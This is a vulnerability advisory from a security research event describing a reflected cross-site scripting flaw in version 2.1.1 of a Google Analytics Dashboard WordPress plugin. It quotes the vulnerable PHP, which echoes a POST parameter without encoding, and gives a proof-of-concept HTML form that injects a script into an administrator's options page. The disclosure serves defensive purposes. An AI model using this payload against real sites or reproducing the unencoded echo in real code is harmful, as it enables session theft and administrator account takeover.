A Cross-Site Scripting vulnerability was found in the Google Analytics Dashboard WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE-20160724-0026
This issue was successfully tested on Google Analytics Dashboard WordPress Plugin version 2.1.1.
There is currently no fix available.
The Google Analytics Dashboard WordPress Plugin gives access to your Google Analytics data directly inside your WordPress blog. A Cross-Site Scripting vulnerability was found in the Google Analytics Dashboard WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.
This issue exists in the file gad-admin-options-ui.php and is caused due to the lack of output encoding on the ga_email option/request parameter.
<tr valign="top">
<th scope="row">
<label for="ga_email"><?php _e( 'Google Analytics Email', 'google-analytics-dashboard' ); ?></label></th>
<td>
<input name="ga_email" type="text" size="15" id="ga_email" class="regular-text" value="<?php echo isset( $_POST['ga_email'] ) ? $_POST['ga_email'] : get_option( 'gad_login_email' ); ?>" />
</td>
</tr>
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=google-analytics-dashboard%2Fgad-admin-options.php" method="POST">
<input type="hidden" name="gad_login_type" value="client" />
<input type="hidden" name="ga_email" value=""><script>alert(1);</script>" />
<input type="hidden" name="ga_pass" value="password" />
<input type="hidden" name="ga_save_pass" value="ga_save_pass" />
<input type="hidden" name="SubmitLogin" value="Login ?»" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>